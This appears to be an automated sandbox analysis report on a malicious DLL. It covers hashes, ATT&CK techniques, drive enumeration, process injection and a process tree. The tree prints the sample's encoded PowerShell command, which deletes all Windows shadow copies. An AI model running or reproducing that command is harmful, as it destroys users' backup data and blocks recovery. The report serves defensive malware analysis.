9106117da853d8baa45ff6fdbf1ceada81dd4c2ce896787e445170a8d8c13148

General

Target
9106117da853d8baa45ff6fdbf1ceada81dd4c2ce896787e445170a8d8c13148.dll
Size 164KB
Sample220524-d5sa5ahffj
SHA256 9106117da853d8baa45ff6fdbf1ceada81dd4c2ce896787e445170a8d8c13148
MD5 f45b3caa097afbdd50358ede4042a88f
SHA1 685757998c553c84433410423daf9d5c9b6068c4
SHA512 bf33d5439e01bece4efd21f356fa8619d0dc5dcb72e0c7366c6c3e82f8a909233281633a2cb67e7f92518d6e1dd374961dbfe0a07277a234f33f0bf623620c1f
MD5 SHA1 SHA512

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2008	rundll32.exe
2008	rundll32.exe
4740	powershell.exe
4740	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeBackupPrivilege	2196	vssvc.exe
Token: SeRestorePrivilege	2196	vssvc.exe
Token: SeAuditPrivilege	2196	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5012 wrote to memory of 2008	5012	rundll32.exe	80
PID 5012 wrote to memory of 2008	5012	rundll32.exe	80
PID 5012 wrote to memory of 2008	5012	rundll32.exe	80
PID 2008 wrote to memory of 4740	2008	rundll32.exe	81
PID 2008 wrote to memory of 4740	2008	rundll32.exe	81

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\9106117da853d8baa45ff6fdbf1ceada81dd4c2ce896787e445170a8d8c13148.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\9106117da853d8baa45ff6fdbf1ceada81dd4c2ce896787e445170a8d8c13148.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4740

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4740-132-0x000001537A480000-0x000001537A4A2000-memory.dmp

Download

memory/4740-133-0x00007FF8657A0000-0x00007FF866261000-memory.dmp